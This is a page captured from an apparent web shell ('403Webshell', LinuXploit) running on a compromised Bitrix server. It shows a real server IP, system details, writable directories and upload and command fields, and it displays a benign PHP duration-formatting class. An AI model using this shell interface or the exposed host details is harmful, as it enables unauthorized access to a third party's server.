403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/UI/Helpers/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/UI/Helpers/DurationFormatter.php
<?php

namespace Bitrix\Bizproc\UI\Helpers;

use Bitrix\Main\Localization\Loc;

class DurationFormatter
{
	public const SECONDS = 60;
	public const HALF_SECONDS = self::SECONDS / 2;
	public const MINUTES = 60;
	public const HALF_MINUTES = self::MINUTES / 2;
	public const HOURS = 24;
	public const HALF_HOURS = self::HOURS / 2;
	public const DAYS = 31;
	public const HALF_DAYS = 15;
	public const MONTHS = 12;
	public const HALF_MONTHS = self::MONTHS / 2;
	public const DAYS_YEAR = 365;

	public static function roundTimeInSeconds(int $timeInSeconds, int $meaningUnit = 1): int
	{
		$checkUnits = static function (array $units) use ($meaningUnit) {
			return count(array_filter($units)) <= $meaningUnit;
		};

		$roundUnitFunction = [
			'self::removeOrRoundSeconds',
			'self::removeOrRoundMinutes',
			'self::removeOrRoundHours',
			'self::removeOrRoundDays',
			'self::removeOrRoundMonths',
		];

		$unitMod = self::getUnitMod($timeInSeconds);
		for ($i = -1; $i <= 4; $i++)
		{
			if (isset($roundUnitFunction[$i]))
			{
				$unitMod = call_user_func($roundUnitFunction[$i], $unitMod);;
			}

			if ($checkUnits($unitMod))
			{
				break;
			}
		}

		return self::getFromUnitMod($unitMod);
	}

	private static function removeOrRoundSeconds(array $unitMod): array
	{
		$seconds = $unitMod['s'];
		$minutes = $unitMod['i'];

		if (($minutes !== 0 && $seconds >= self::HALF_SECONDS) || ($minutes === 0 && $seconds === self::SECONDS))
		{
			++$minutes;
		}

		$unitMod['s'] = 0;
		$unitMod['i'] = $minutes;

		return $unitMod;
	}

	private static function removeOrRoundMinutes(array $unitMod): array
	{
		$minutes = $unitMod['i'];
		$hours = $unitMod['H'];

		if (($hours !== 0 && $minutes >= self::HALF_MINUTES) || ($hours === 0 && $minutes === self::MINUTES))
		{
			++$hours;
		}

		$unitMod['i'] = 0;
		$unitMod['H'] = $hours;

		return $unitMod;
	}

	private static function removeOrRoundHours(array $unitMod): array
	{
		$hours = $unitMod['H'];
		$days = $unitMod['d'];

		if (($days !== 0 && $hours >= self::HALF_HOURS) || ($days === 0 && $hours === self::HOURS))
		{
			++$days;
		}

		$unitMod['H'] = 0;
		$unitMod['d'] = $days;

		return $unitMod;
	}

	private static function removeOrRoundDays(array $unitMod): array
	{
		$days = $unitMod['d'];
		$months = $unitMod['m'];

		if (($months !== 0 && $days >= self::HALF_DAYS) || ($months === 0 && $days === self::DAYS))
		{
			++$months;
		}

		$unitMod['d'] = 0;
		$unitMod['m'] = $months;

		return $unitMod;
	}

	private static function removeOrRoundMonths(array $unitMod): array
	{
		$months = $unitMod['m'];
		$years = $unitMod['Y'];

		if (($years !== 0 && $months >= self::HALF_MONTHS) || ($years === 0 && $months === self::MONTHS))
		{
			++$years;
		}

		$unitMod['m'] = 0;
		$unitMod['Y'] = $years;

		return $unitMod;
	}

	public static function getFromUnitMod(array $unitMod): int
	{
		return (
			($unitMod['s'] ?? 0)
			+ self::getSecondsFromMinutes($unitMod['i'] ?? 0)
			+ self::getSecondsFromHours($unitMod['H'] ?? 0)
			+ self::getSecondsFromDays($unitMod['d'] ?? 0)
			+ self::getSecondsFromMonths($unitMod['m'] ?? 0)
			+ self::getSecondsFromYears($unitMod['Y'] ?? 0)
		);
	}

	public static function roundUpTimeInSeconds(int $timeInSeconds): int
	{
		if ($timeInSeconds <= self::SECONDS)
		{
			return $timeInSeconds;
		}

		$unitMod = self::getUnitMod($timeInSeconds);

		$years = $unitMod['Y'];
		$months = $unitMod['m'];
		$days = $unitMod['d'];
		$hours = $unitMod['H'];
		$minutes = $unitMod['i'];
		$seconds = $unitMod['s'];

		if ($years !== 0)
		{
			if ($seconds || $minutes || $hours || $days || $months)
			{
				++$years;
			}

			return self::getSecondsFromYears($years);
		}

		if ($months !== 0)
		{
			if ($seconds || $minutes || $hours || $days)
			{
				++$months;
			}

			return $months === self::MONTHS ? self::getSecondsFromYears(1) : self::getSecondsFromMonths($months);
		}

		if ($days !== 0)
		{
			if ($seconds || $minutes || $hours)
			{
				++$days;
			}

			return $days === self::DAYS ? self::getSecondsFromMonths(1) : self::getSecondsFromDays($days);
		}

		if ($hours !== 0)
		{
			if ($seconds || $minutes)
			{
				++$hours;
			}

			return $hours === self::HOURS ? self::getSecondsFromDays(1) : self::getSecondsFromHours($hours);
		}

		if ($minutes !== 0)
		{
			if ($seconds)
			{
				++$minutes;
			}

			return $minutes === self::MINUTES ? self::getSecondsFromHours(1) : self::getSecondsFromMinutes($minutes);
		}

		return $seconds;
	}

	public static function getUnitMod(int $seconds): array
	{
		$minutes = $seconds >= self::SECONDS ? (int)($seconds / self::SECONDS) : 0;
		$hours = $minutes >= self::MINUTES ? (int)($minutes / self::MINUTES) : 0;
		$days = $hours >= self::HOURS ? (int)($hours / self::HOURS) : 0;
		$months = $days >= self::DAYS ? (int)($days / self::DAYS) : 0;
		$years = $months >= self::MONTHS ? (int)($months / self::MONTHS) : 0;

		return [
			's' => $seconds % self::SECONDS,
			'i' => $minutes % self::MINUTES,
			'H' => $hours % self::HOURS,
			'd' => $days % self::DAYS,
			'm' => $months % self::MONTHS,
			'Y' => $years,
		];
	}

	public static function getSecondsFromMinutes(int $minutes): int
	{
		return $minutes * self::SECONDS;
	}

	public static function getSecondsFromHours(int $hours): int
	{
		return $hours * self::MINUTES * self::SECONDS;
	}

	public static function getSecondsFromDays(int $days): int
	{
		return $days * self::HOURS * self::MINUTES * self::SECONDS;
	}

	public static function getSecondsFromMonths(int $months): int
	{
		return $months * self::DAYS * self::HOURS * self::MINUTES * self::SECONDS;
	}

	public static function getSecondsFromYears(int $years): int
	{
		return $years * self::MONTHS * self::DAYS * self::HOURS * self::MINUTES * self::SECONDS;
	}

	public static function format(int $duration): ?string
	{
		if ($duration === 0)
		{
			return Loc::getMessage('BIZPROC_UI_DURATION_FORMATTER_DURATION_ZERO');
		}

		$valuedMods = array_filter(self::getUnitMod($duration));
		$targetFormat = array_key_last($valuedMods);
		if ($targetFormat)
		{
			$formats = [
				'Y' => 'Ydiff',
				'm' => 'mdiff',
				'd' => 'ddiff',
				'H' => 'Hdiff',
				'i' => 'idiff',
				's' => 'sdiff',
			];

			return \FormatDate($formats[$targetFormat], time() - $duration);
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit